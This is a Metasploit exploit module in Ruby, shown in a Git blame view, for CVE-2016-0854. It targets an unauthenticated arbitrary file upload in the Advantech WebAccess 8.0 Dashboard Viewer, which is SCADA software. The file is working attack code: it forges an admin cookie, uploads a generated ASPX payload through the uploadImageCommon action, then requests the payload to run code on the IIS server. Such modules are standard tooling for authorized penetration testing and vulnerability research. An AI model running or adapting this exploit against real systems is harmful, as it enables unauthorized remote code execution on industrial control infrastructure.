Files
metasploit-gs/modules/exploits/windows/scada/advantech_webaccess_dashboard_file_upload.rb
T

148 lines
4.6 KiB
Ruby
Raw Normal View History

##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
2016-04-18 19:55:42 +08:00
def initialize(info = {})
super(update_info(info,
'Name' => "Advantech WebAccess Dashboard Viewer uploadImageCommon Arbitrary File Upload",
'Description' => %q{
This module exploits an arbitrary file upload vulnerability found in Advantech WebAccess 8.0.
2016-04-18 19:55:42 +08:00
This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations
of Advantech WebAccess. Authentication is not required to exploit this vulnerability.
2016-04-18 19:55:42 +08:00
The specific flaw exists within the WebAccess Dashboard Viewer. Insufficient validation within
the uploadImageCommon function in the UploadAjaxAction script allows unauthenticated callers to
upload arbitrary code (instead of an image) to the server, which will then be executed under the
high-privilege context of the IIS AppPool.
},
'License' => MSF_LICENSE,
2016-04-18 19:55:42 +08:00
'Author' => [
'rgod', # Vulnerability discovery
'Zhou Yu <504137480[at]qq.com>', # MSF module
'sinn3r' # Explicit check && better support of 8.0 (2014 and 2015)
2016-04-18 19:55:42 +08:00
],
'References' => [
[ 'CVE', '2016-0854' ],
[ 'ZDI', '16-128' ],
[ 'URL', 'https://ics-cert.us-cert.gov/advisories/ICSA-16-014-01']
],
'Platform' => 'win',
'Targets' => [
['Advantech WebAccess 8.0', {}]
],
'Privileged' => false,
'DisclosureDate' => "Feb 5 2016",
'DefaultTarget' => 0))
register_options(
[
Opt::RPORT(80),
2016-04-18 19:55:42 +08:00
OptString.new('TARGETURI', [true, 'The base path of Advantech WebAccess 8.0', '/'])
])
2016-04-18 19:55:42 +08:00
end
def print_status(msg='')
super("#{peer} - #{msg}")
end
2016-04-18 19:55:42 +08:00
def vuln_version?
uri = normalize_uri(target_uri, 'WADashboard', 'ajax', 'UploadAjaxAction.aspx')
data = Rex::MIME::Message.new
# If we can access the uploadImageCommon action name, that indicates the server is vulnerable
# to our attack. The "patched" version requires authentication, so we don't have access to
# the action name.
data.add_part('uploadImageCommon', nil, nil, 'form-data; name="actionName"')
res = send_request_cgi(
'method' => 'POST',
'uri' => uri,
'cookie' => "waUserName=admin",
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'data' => data.to_s
2016-04-18 19:55:42 +08:00
)
res = res.get_json_document
2016-05-14 11:07:43 -05:00
res['resStatus'] && res['resStatus'] == '1'
end
def check
2016-04-18 19:55:42 +08:00
if vuln_version?
Exploit::CheckCode::Vulnerable
else
2016-04-18 19:55:42 +08:00
Exploit::CheckCode::Safe
end
end
2016-04-18 19:55:42 +08:00
def upload_file?(filename, file)
print_status("Uploading: #{filename}")
2016-04-18 19:55:42 +08:00
uri = normalize_uri(target_uri, 'WADashboard', 'ajax', 'UploadAjaxAction.aspx')
data = Rex::MIME::Message.new
data.add_part('uploadImageCommon', nil, nil, 'form-data; name="actionName"')
2016-04-18 19:55:42 +08:00
data.add_part(file, nil, nil, "form-data; name=\"file\"; filename=\"#{filename}\"")
2016-04-18 19:55:42 +08:00
res = send_request_cgi(
'method' => 'POST',
'uri' => uri,
'cookie' => "waUserName=admin",
'ctype' => "multipart/form-data; boundary=#{data.bound}",
2016-04-18 19:55:42 +08:00
'data' => data.to_s
)
if res.get_json_document.empty?
false
else
# Only register when we know the upload was successful.
#
# When we get a session, we start at:
# c:\windows\system32\inetsrv
# But our malicious file is at C:\Inetpub\wwwroot\broadweb\WADashboard
register_file_for_cleanup("../../../Inetpub/wwwroot/broadweb/WADashboard/#{filename}")
true
end
2016-04-18 19:55:42 +08:00
end
2016-04-18 19:55:42 +08:00
def exec_file?(filename)
uri = normalize_uri(target_uri)
res = send_request_cgi(
'method' => 'GET',
'uri' => uri
)
uri = normalize_uri(target_uri, 'WADashboard', filename)
res = send_request_cgi(
'method' => 'GET',
'uri' => uri,
'cookie' => res.get_cookies
)
2016-05-14 11:07:43 -05:00
res && res.code == 200
end
2016-04-18 19:55:42 +08:00
def exploit
2016-04-19 11:22:00 +08:00
unless vuln_version?
print_status('Target is not vulnerable.')
2016-04-19 11:22:00 +08:00
return
end
2016-04-18 19:55:42 +08:00
filename = "#{Rex::Text.rand_text_alpha(5)}.aspx"
filedata = Msf::Util::EXE.to_exe_aspx(generate_payload_exe)
2016-04-18 20:43:39 +08:00
print_status("#{peer} - Uploading malicious file...")
2016-04-18 19:55:42 +08:00
return unless upload_file?(filename, filedata)
2016-04-18 20:43:39 +08:00
print_status("#{peer} - Executing #{filename}...")
2016-04-18 19:55:42 +08:00
return unless exec_file?(filename)
end
end